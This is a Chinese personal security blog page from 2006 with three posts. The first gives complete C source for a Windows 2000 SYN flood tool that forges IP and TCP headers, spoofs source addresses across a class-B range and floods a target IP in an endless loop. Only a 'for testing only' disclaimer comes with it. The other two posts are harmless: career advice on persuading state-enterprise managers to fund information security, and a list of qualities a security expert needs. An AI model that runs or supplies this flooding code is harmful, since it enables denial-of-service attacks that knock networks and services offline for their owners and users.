爱看电影,爱做梦

2006年10月26日

Win2000下的SYN Flood源代码

类归于: 源代码 — kermit @ 17:49

好久以前修改的.仅供测试使用。

//附录:Win2000下的SYN Flood程序
//改编自Linux下Zakath编写的SYN Flooder
//编译环境:VC++6.0,编译时需要包含ws2_32.lib#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#define SEQ 0×28376839

#define SYN_DEST_IP “10.0.3.1″//被攻击的IP
#define FAKE_IP “10.0.3.60″ //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;
struct //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}psd_header;
typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;
//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}
// SynFlood主函数

int main()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,”WSAStartup failed: %dn”,ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET){

fprintf(stderr,”WSASocket() failed: %dn”,WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if (ErrorCode==SOCKET_ERROR) printf(“Set IP_HDRINCL Error!n”);

__try{

//设置发送超时

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,”Failed to set send TimeOut: %dn”,WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本号,低四位首部长度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)

ip_header.ident=1; //16位标识

ip_header.frag_and_flags=0; //3位标志位

ip_header.ttl=128; //8位生存时间TTL

ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)

ip_header.checksum=0; //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址

//填充TCP首部

tcp_header.th_sport=htons(4000); //源端口号

tcp_header.th_dport=htons(111); //目的端口号

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_ack=0; //ACK序列号置为0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位

tcp_header.th_flag=2; //SYN 标志

tcp_header.th_win=htons(16384); //窗口大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)

psd_header.saddr=ip_header.sourceIP; //源地址

psd_header.daddr=ip_header.destIP; //目的地址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP; //协议类型

psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度

while(1) {

//每发送10,240个报文输出一个标示符

printf(“.”);

for(counter=0;counter<10240;counter++){

if(SendSEQ++==65536) SendSEQ=1; //序列号循环

//更改IP首部

ip_header.checksum=0; //16位IP首部校验和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_sum=0; //校验和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//计算TCP校验和,计算校验和时需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送TCP报文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf(“nSend Error:%dn”,GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}

2006年10月5日

让国企领导更重视信息安全!

类归于: 百家争鸣 — kermit @ 22:01
让国企领导更重视信息安全!
http://bbs.chinacissp.com/viewtopic.php?t=6718
看了这篇文章,深有感触。从其中copy了90%的东东 整理如下;供大家参考。
事例:我在一家大型国企当网管,以前只要管好网络就行了,现在还摊上安全管理员的活路,可是领导一点都不关心公司的信息安全,认为有个人负责,安装个防火墙就ok了。我可郁闷死了,各位前辈请帮忙支支招吧。新来这个论坛,请大家多关照。
以下从一个技术人员的角度考虑这个问题。
1. 仔细分析自己所处的地位和所负担的责任
自己要对企业的安全状况有一个充分的评估或了解,找出目前的风险所在,制定出相应的应对措施和办法;就国内的环境来说,信息安全起步相对较晚,领导的安全意识较差,这个是大环境造成。要让领导认识到安全的重要性,需要较多的工作,这点必须认识清楚.前途艰辛,同志尚须努力! 这样工作就会有针对性,这是职责所在,也是份内的事情(先不管他是否有领导的支持)。

在其位谋其政,既然已经是安全管理员了,就要把这份工作给做起来,定期做工作汇报这是前期铺垫),补丁分发、病毒库升级、防火墙的规则配置、定期扫描,尽自己的能力采取一些安全措施来保障企业信息系统的安全。一步一步的来,从不花钱的坐起。如果工作量自己无法承受那只有如实的汇报。把情况反映上去,出问题了也不能都责怪你。但要是只有能有接受的工作量,但出了问题,抱怨则会带来领导的不满。 这是比较现实的说法。只能适应这个大的环境生存。但要还做点什么。至少让人知道你在努力,包括你的直属领导。

可能出现的问题:前面提到的工作汇报是一定要写的,这样真的是出了事情好摆脱责任的最好办法。因为领导是会不怎么看的,但你提过了,出事就不是你的问题了(或者责任更小)。这是一个工作方法的问题,非技术问题。

2.什么样的时间提交怎样的报告?
按照风险评估的方法,充分发挥自己的能力水平,对企业的安全状况进行分析评估,整理出最突出的安全问题,以评估或检测报告的形式报给领导,并附上加固方案和自己的一些建议,履行好自己安全管理员的职责。
认真应对出现的每次安全事件,除了完美的解决问题外,还要对问题进行分析,找出问题的根源所在,并提出预防的方法,在每次发生问题的时候给领导提出建议,这个时机是非常好的,定会收到事半功倍的效果。
报告中要针对企业的信息系统的评估,风险分析,如重要数据的泄漏,设备故障造成的网络瘫痪,病毒造成数据丢失等种种风险对企业造成的损失,结合一些现实生活中的安全事件,对国内外已经发生的重大信息安全事件进行归纳、整理,有能力的话可以作些相关行业的分析,以实例说明安全的重要性。这些最好以数据和图表的方式形成 成文档(文档的措辞或者是说语言风格和逻辑递进要特别关注).

通过正式渠道向领导报告,坚决反对未授权的企业的网络渗透测试。渗透性测试必须得到上级部门或领导的许可后方能进行。私自进行渗透性测试可能会引起领导对信息安全问题的重视,从另外一个角度也可能导致领导对你的“不放心”,不要说企业的重要数据,就连他的个人数据也可能受到威胁)。换句话说,搞什么攻击演示都是没用的,领导根本就不会看那玩意,也看不懂.有人说,最好的方法就是让他们吃点苦头,这样领导对安全印象深刻。我更是不敢试验,因为我确信自己没有这么大的牺牲精神用自己来换取我们领导对安全的重视,领导吃完苦头下面肯定轮到我。特别是当着领导的面进行,一方面领导没有面子(你知道国企的领导的)。另一方面,也容易给自己的工作无形中增加很多压力。在国企混就是这样子,很多事情是不能直说的。能直说的还要找准时机。

提报告的时候可以举例:银联领不出钱来,建行服务器被当作钓鱼网站的网址,ICBC被人成立假冒网站,网上帐户资金被盗…这些都是公开事实,发给领导看了也许可以让她们心里有数,人家花了这麽多钱搞安全後还会有漏洞,何况自身。(为以后申请资金进行铺垫)。

3.说服领导去重视信息安全
信息部门在大多数企业来说可以属于附属部门,算得上消费的部门,领导们只看到钱向上扔,却没有实际的产值出来,难免不会重视。
我个人的经验对领导谈论技术他们不会感兴趣的,即使安全渗透做的再好他也不会理解,个人觉得可以多从政策方面想他们解释,现在国家在这方面的标准和规范还是很多的!他们对这些的兴趣比纯技术的要大,你可以找到你们所在行业的规范结合自己的技术报告我想可能更能引起领导的重视!例如:大型国企的话,可以去研究国办、保密局发的一些文,针对安全的规范,指导意见等,一般主管领导都有这些文的。可以根据这些文的指导思想和领导进行交流沟通。
当然罗索这么多,你也要明白,领导听的报告比你走的路还多,来点实际的,否则他就不耐烦了。
从领导本性出发,我不能说领导惟利是图,只能说是好大喜功。给他们讲国家政策,讲政绩是突破口。因此很重要的是你要从他的利益出发,告诉他如果你分析出来的风险发生的话,是不是会影响到他的“政绩”(国企么,应该是政绩的考虑多于效益^-^)。如果能够成功的让他感觉你在说的这件事涉及到他的切身利益,那么离你大干一场的时间就不远了。(这里要重点强度对信息安全的支持的好处,如提升政绩,适当的提到反面的影响,^_^)。
恩,画了个饼,大家看着好,可是领导也吃不到,怎么办呢?

有两条路:第一条,国企和事业单位领导不都喜欢参观考察吗?你就去想办法张罗(暗示)一下子啦。另一条,找一个专业的信息安全服务商,比如:中联绿盟信息技术(北京)有限公司
http://www.nsfocus.net等(别砍我 ,不是做广告。)他们都有相一整套项目运作流程,会更容易使你们领导接受。当然你有更灵活的方式更好。

有政策的支持,有政绩的诱惑,还可以名正言顺的考察,这样下来领导总是要动心的。

4.最重要的事情
最后一个,是我们做技术的非常欠缺的一个方面,就是和领导的沟通。做技术的往往喜欢直来直去,有事说事,没事就不吭声,这在和领导沟通上是大忌,我最近也一直在反省自己,在国企这么多年了,怎么这么点技巧都没有学会呢。看来我得多学学怎样跟领导套近乎,有了沟通的机会才谈的上传输安全意识。
? 以上是我对各位的回答总结和自己后得出的一点体会,供大家参考。
PS:说点遥远的事情:这个事情需要社会的大环境的烘托。
附录:信息安全刊物
中文:信息安全与通信保密》还不错啊。还有些技术性质的论文。
英文:可以考虑订阅下面的外文刊物.如果你是CISSP,订阅这些杂志还可以为你加CEP分数.
这些刊物集中探讨安全的管理和应用.
1. 信息安全:
http://informationsecurity.techtarget.com/
2. 信息安全杂志:
http://www.infosecurity-magazine.com/
3. 信息安全官在线杂志:http://www.csoonline.com/
?

2006年10月4日

对信息安全专家的要求(zz)

类归于: 信息标准 — kermit @ 20:22
1,熟悉安全相关标准,技术知识.
2,要有丰富的行业经验,这需要时间的积累.
3,视野要宽,不能局限于中国的安全公司,最好能有国外的安全顾问经验.
4,要有运筹帷幄的能力,不能一个人做,要会把任务下派.
5,要有总结能力.会写文章.
6,要有沟通能力,会讲课.
7,要有审美能力,写的文章\作的ppt要让人看着舒心.
8,要有责任心,要有爱心…..

Copyright @ 2006-2010 houquner.com. All Rights Reserved.   京ICP备09057126号